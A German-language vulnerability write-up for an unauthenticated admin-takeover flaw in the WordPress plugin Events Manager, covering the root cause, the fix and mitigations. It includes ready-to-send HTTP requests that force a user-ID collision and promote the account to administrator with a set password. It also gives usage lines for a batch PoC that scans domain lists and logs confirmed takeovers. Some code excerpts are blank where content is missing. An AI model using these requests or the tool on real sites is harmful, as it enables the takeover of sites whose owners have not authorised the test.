CVE-2026-18366 — Events Manager < 7.4.1: Nicht authentifizierte Rechteausweitung zum Administrator

Offenlegungszeitplan

• 2026-08-03 — Events Manager 7.4.1 mit dem Fix veröffentlicht (Sicherheits-Release des Herstellers).
• 2026-08-12 — Eintrag im IONIX Threat Center veröffentlicht.
• 2026-08-21 — Dieses Write-up und Proof-of-Concept (poc.py).

Zusammenfassung

Events Manager in den Versionen 7.1.0 bis 7.4.0.x enthält eine Schwachstelle zur Rechteausweitung, die es einem vollständig nicht authentifizierten Angreifer ermöglicht, jedes Benutzerkonto zu übernehmen, dessen ID mit der ID eines eigenen Beitrags des Plugins kollidiert (event / location / event-recurring / location-recurring). Auf Websites mit aktivierten Gastbuchungen (Standard) kann die Kollision erzwungen werden: Jede Gastbuchung erzeugt ein echtes Benutzerkonto und erhöht den Auto-Increment-Zähler von wp_users um eins, sodass ein Angreifer den Benutzer-ID-Raum gezielt bis zu einer Event-/Location-Beitrags-ID „durchwandern“ kann.

Die Ursache: Der map_meta_cap-Filter des Plugins verwirft die von WordPress bereits berechnete Capability-Liste ($caps = []) für jede Meta-Capability, sobald die Objekt-ID der Capability zufällig zu einem Event-/Location-Beitrag aufgelöst wird — einschließlich WordPress-Core-Capabilities wie edit_user, delete_user, promote_user und remove_user. Eine leere Capability-Liste bedeutet „keine Capability erforderlich“ — also Erlaubnis für alle, auch für abgemeldete Benutzer.

Folgen (alle ohne Authentifizierung, über die WP-REST-API): Das Passwort eines beliebigen kollidierenden Kontos ändern, es zu administrator hochstufen oder es löschen.

Analysierte Version: 7.4.0.1 (anfällig) — per Diff gegen 7.4.1 (behoben) verglichen.

Betroffene Versionen

Ursache — map_meta_cap leert $caps

classes/em-archetypes.php (Version 7.4.0.1):

Konsequenz: Jede Prüfung von current_user_can('edit_user', X) / delete_user / promote_user / remove_user liefert TRUE, sobald X der ID eines Event-/Location-Beitrags entspricht. Das Plugin „verwirft die Zugriffskontrollentscheidungen, die WordPress bereits getroffen hatte“ — genau wie von WPScan beschrieben.

Der Fix in 7.4.1

Per Diff von 7.4.0.1 gegen 7.4.1 verifiziert: Der Reset ist jetzt pro Zweig durch einen exakten Capability-Abgleich abgesichert (z. B. && $c['read'][$post->post_type] == $cap), sodass $caps nur noch geleert wird, wenn die angeforderte Capability tatsächlich eine Archetypen-Meta-Cap ist. Patch-Kommentar: „Das Zurücksetzen bei jeder Cap mit Objekt leerte die Anforderungsliste für unabhängige Caps (z. B. edit_user, promote_user), was sich als Erlaubnis liest.“

Auswirkungen — exponierte WordPress-Core-Admin-Operationen (ohne Login, über REST-API)

Die REST-Users-Endpunkte (/wp-json/wp/v2/users/{id}) haben kein globales Login-Gate — die Zugriffskontrolle erfolgt ausschließlich über Permission-Callbacks, die alle durch denselben map_meta_cap-Filter laufen:

Nebeneffekt: edit_comment ist ebenfalls betroffen, wenn eine Kommentar-ID zufällig einer Event-/Location-Beitrags-ID entspricht (die wp_comments-Tabelle teilt sich den Zahlenraum).

Erzwingen der ID-Kollision per Gastbuchung (Einstiegspunkt)

Die Kollision existiert, weil wp_users.ID und wp_posts.ID unabhängige Auto-Increment-Sequenzen sind, die zwangsläufig überlappen. Gastbuchungen erzwingen sie:

• em-install.php:896 — dbem_bookings_anonymous = 1: Gastbuchungen standardmäßig aktiviert; :871 dbem_bookings_registration_disable = 0 (Registrierung aktiviert).
• em-actions.php:340-344 — booking_add steht in $booking_nopriv_actions → ohne Login aufrufbar (über wp_ajax_nopriv_booking_add, Priorität 999999, Zeilen :817-830, oder wp_loaded :11).
• em-actions.php:360-375 — Ablauf von booking_add: → → → → . (Das Nonce dient nur dem CSRF-Schutz — das -Nonce wird im öffentlichen Buchungsformular ausgegeben, sodass es jeder erhalten kann.)

Sekundäre Kette, die während des Audits beobachtet wurde (Buchungszuordnung über person_id) — events-manager.php:430-437 (em_load_event, $EM_Person aus $_REQUEST['person_id'] ohne Login), em-booking.php:1060-1072 (get_person() überschreibt die person_id einer neuen Buchung), em-booking.php:2004-2006 (can_manage() = TRUE für eine Buchung ohne ID), em-functions.php:448-449 — in 7.4.1 unverändert; es handelt sich um einen separaten Vektor (falsche Buchungszuordnung), nicht um den Kern dieser CVE.

Ausnutzung (ohne Authentifizierung)

1. Ziel-ID ermitteln. Öffentliche Event-/Location-Beitrags-IDs enumerieren (Permalinks, Feeds, /wp-json/wp/v2/event oder Brute-Force über sequenzielle IDs). Angenommen, das Ziel ist N.
2. (Optional — Kollision erzwingen) Wiederholt Gastbuchungen senden, damit das nächste Konto die ID N erhält:
   root@kitploit:~

   POST /wp-admin/admin-ajax.php?action=booking_add
     event_id=<E>&em_tickets[<T>][spaces]=1
     &user_email=attacker%40mail.com&user_name=Attacker
     &_wpnonce=<nonce from the public booking form>
   

   Jeder POST → ein neues Konto; das Konto mit der ID N gehört dem Angreifer (das Passwort wird an die Adresse des Angreifers gesendet).
3. Zum Administrator hochstufen + Passwort ändern:
   root@kitploit:~

   PUT /wp-json/wp/v2/users/N
   Content-Type: application/json
   {"password":"Pwned123!","roles":["administrator"]}
   

   Die Permission-Callbacks edit_user + promote_user werden bestanden, weil get_post(N) zu einem Event-/Location-Beitrag auflöst → $caps = []. (Falls ein — z. B. ein alter Admin — bereits die ID besitzt, die mit einer Event-Beitrags-ID kollidiert, ist Schritt 2 unnötig; der Angreifer übernimmt dieses Konto direkt.)

Voraussetzungen

• Events Manager 7.1 – 7.4.0.x installiert und aktiv (die event/location-CPTs registriert).
• Mindestens ein Event-/Location-Beitrag (seine ID ist der Kollisionsschlüssel).
• Gastbuchungen aktiviert (Standard) — nur zum Erzwingen der Kollision nötig; Websites, die zufällig ein Konto besitzen, dessen ID einer Event-/Location-Beitrags-ID entspricht, sind direkt über REST angreifbar.

Proof of Concept — poc.py

poc.py ist ein asynchrones (asyncio + aiohttp) Batch-PoC, das pro Ziel: die EM-Version per Fingerprint ermittelt (auf den anfälligen Bereich [7.1, 7.4.1) begrenzt), von außen erreichbare EM-Beitrags-IDs entdeckt (WP-Sitemap → /locations/, optional ein Crawl des Buchungsformulars), die entdeckten IDs auf ein bestehendes Benutzerkonto prüft (die Kollisionsbedingung) und die kollidierenden hochstuft — über den REST-Kanal oder den wp-admin-Kanal, wenn eine Session übergeben wird und REST blockiert ist. Kein blinder Durchlauf des Benutzerbereichs, keine Gastbuchungen, keine Kontenerstellung.

Der Runner bündelt die gesamte I/O auf einer einzigen Event-Loop (bei I/O-Last nahe 0 % CPU; -t begrenzt die Parallelität statt der Kerne), scannt auf der Loop nur begrenzte 64-KiB-Kopf-Chunks, lagert schwere Parses (Sitemap-XML, Crawl-Seiten-Bundle, Profilformular) über asyncio.to_thread auf Worker-Threads aus und erzwingt bei jedem Seitenversuch die Höflichkeitsverzögerung. Die Erzwingungslogik selbst ist unverändert (gleiche Gates, gleiche Orakel, gleiche Verifikation).

py -3 poc.py -l domains.txt                     # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v          # single domain
py -3 poc.py -l domains.txt --crawl             # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
    --wp-session 'wordpress_logged_in_abc=...'  # wp-admin fallback channel

Voraussetzungen: Python 3.9+, pip install aiohttp.

Ergebnisse werden nach hasil.txt (bestätigte Übernahmen) und id-post.txt (jede anfällige Domain, in der EM-Beitrags-IDs entdeckt wurden, mit collision=yes/no/unknown) gestreamt.

Hinweis: Dieses PoC wurde unabhängig aus der statischen Analyse des 7.4.0.1-Quellcodes und des 7.4.1-Patch-Diffs rekonstruiert — es ist nicht das WPScan-PoC.

NUR FÜR AUTORISIERTE SICHERHEITSTESTS. Ausschließlich gegen Systeme ausführen, die dir gehören oder für die du eine ausdrückliche schriftliche Testgenehmigung besitzt. Das PoC führt einfache HTTP-Anfragen aus — keine Verschleierung; es kann in Logs/IDS sichtbar sein.

Gegenmaßnahmen

• Auf Events Manager 7.4.1 oder neuer aktualisieren.
• Übergangsweise: Gastbuchungen deaktivieren (dbem_bookings_anonymous), die Users-REST-Endpunkte auf WAF-Ebene einschränken und auf Passwortänderungen, Rollen-Hochstufungen und Kontolöschungen überwachen.

Danksagungen

• Entdeckung der Schwachstelle: Jakub Herman (von WPScan genannt)
• Write-up und PoC: ghostpel

Referenzen

• WPScan: https://wpscan.com/vulnerability/82767ce2-01e4-46ad-a52b-72d3ab2049bd/
• IONIX Threat Center: https://www.ionix.io/threat-center/cve-2026-18366/
• VulDB: https://vuldb.com/cve/CVE-2026-18366
• OpenCVE: https://app.opencve.io/cve/CVE-2026-18366
• Stack.watch: https://stack.watch/vuln/CVE-2026-18366/